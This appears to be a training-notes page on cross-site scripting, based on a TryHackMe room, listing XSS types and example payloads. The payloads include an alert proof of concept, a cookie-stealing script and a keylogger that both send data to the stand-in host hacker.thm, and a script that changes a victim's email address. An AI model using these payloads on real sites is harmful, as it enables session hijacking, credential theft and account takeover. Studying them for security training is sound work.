HomeAutomation and deploymentNetworkOperating SystemSecurityWeb

XSS

XSS Payload

Proof Of Concept:

This is the simplest of payloads where all you want to do is demonstrate that you can achieve XSS on a website. This is often done by causing an alert box to pop up on the page with a string of text, for example:

<script>alert('XSS');</script>

Session Stealing:

Details of a user's session, such as login tokens, are often kept in cookies on the targets machine. The below JavaScript takes the target's cookie, base64 encodes the cookie to ensure successful transmission and then posts it to a website under the hacker's control to be logged. Once the hacker has these cookies, they can take over the target's session and be logged as that user.

<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

Key Logger:

The below code acts as a key logger. This means anything you type on the webpage will be forwarded to a website under the hacker's control. This could be very damaging if the website the payload was installed on accepted user logins or credit card details.

<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>

Business Logic:

This payload is a lot more specific than the above examples. This would be about calling a particular network resource or a JavaScript function. For example, imagine a JavaScript function for changing the user's email address called user.changeEmail(). Your payload could look like this:

<script>user.changeEmail('attacker@hacker.thm');</script>

XSS Type

  • Reflected XSS

  • Stored XSS

  • DOM Based XSS

  • Blind XSS

Tools XSS

Detection

Payload xss list

https://tryhackme.com/r/room/xss

PreviousWebNextInjection SQL

Last updated